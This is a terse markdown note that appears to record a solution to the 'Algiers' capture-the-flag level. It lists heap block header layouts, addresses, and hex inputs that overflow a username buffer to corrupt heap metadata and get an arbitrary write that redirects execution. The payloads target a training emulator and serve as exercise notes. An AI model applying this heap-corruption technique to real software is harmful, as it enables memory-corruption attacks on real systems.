algiers.md

algiers

username @ 0x240e username->prev = 0x2408 username->next = 0x240a username->size = 0x240c

password @ 0x2424 password->prev = 0x241e password->next = 0x2420 password->size = 0x2422

block header (6 bytes) {
      prev ptr ; 2 bytes
      next ptr ; 2 bytes
      {15 bits of size, 1 bit of free/used} ; 2 bytes
}

write 0x4564 to 0x439a username 0 1 2 3 4 5 6 7 8 9 a b c d e f10111213 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa98436445ffff aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa964300010445 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa60450e4e

1e241e240233aaaaaaaaaaaaaaaaaaaa1e2462450110

1236 4136 password bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb644530120101